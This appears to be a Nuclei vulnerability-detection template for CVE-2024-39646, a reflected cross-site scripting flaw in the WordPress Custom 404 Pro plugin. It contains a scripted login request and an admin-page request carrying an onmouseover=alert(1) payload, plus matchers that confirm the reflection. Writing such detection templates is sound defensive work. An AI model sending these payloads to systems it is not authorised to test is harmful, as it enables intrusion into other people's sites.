id: CVE-2024-39646 info: name: WordPress Custom 404 Pro <= 3.11.1 - Reflected XSS author: Sourabh-Sahu severity: high description: | Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kunal Nagar Custom 404 Pro allows Reflected XSS.This issue affects Custom 404 Pro: from n/a through 3.11.1. impact: | Attackers can execute arbitrary scripts in victims' browsers, leading to session hijacking, defacement, or redirection. remediation: | Update to version 3.11.2 or later. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/custom-404-pro/custom-404-pro-3111-reflected-cross-site-scripting - https://plugins.trac.wordpress.org/changeset?old_path=/custom-404-pro/tags/3.11.1&new_path=/custom-404-pro/tags/3.11.2&sfp_email=&sfph_mail= - https://patchstack.com/database/vulnerability/custom-404-pro/wordpress-custom-404-pro-plugin-3-11-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L cvss-score: 7.1 cve-id: CVE-2024-39646 cwe-id: CWE-79 epss-score: 0.00588 epss-percentile: 0.43702 cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: kunalnagar product: custom_404_pro framework: wordpress tags: wordpress,wp-plugin,xss,authenticated,cve,cve2024,custom-404-pro,vkev flow: http(1) && http(2) variables: username: "{{username}}" password: "{{password}}" http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In matchers: - type: dsl dsl: - 'status_code == 302' - 'contains_all(header, "wordpress_logged_in_")' condition: and internal: true - raw: - | GET /wp-admin/admin.php?page=c4p-main&c4pmessage=hello&c4pmessageType=%22%20onmouseover%3Dalert(1)%20 HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - '" onmouseover=alert(1)' - type: word part: content_type words: - "text/html" # digest: 4b0a00483046022100eef47672bd0d1d48b9cfd701bbac947b12636d2cdef5504236b852573baedbff0221008b7168cc712adbb8fe85bd3be1ccb0a4f9139850413379a536481555939ccc4a:922c64590222798bb761d5b6d8e72950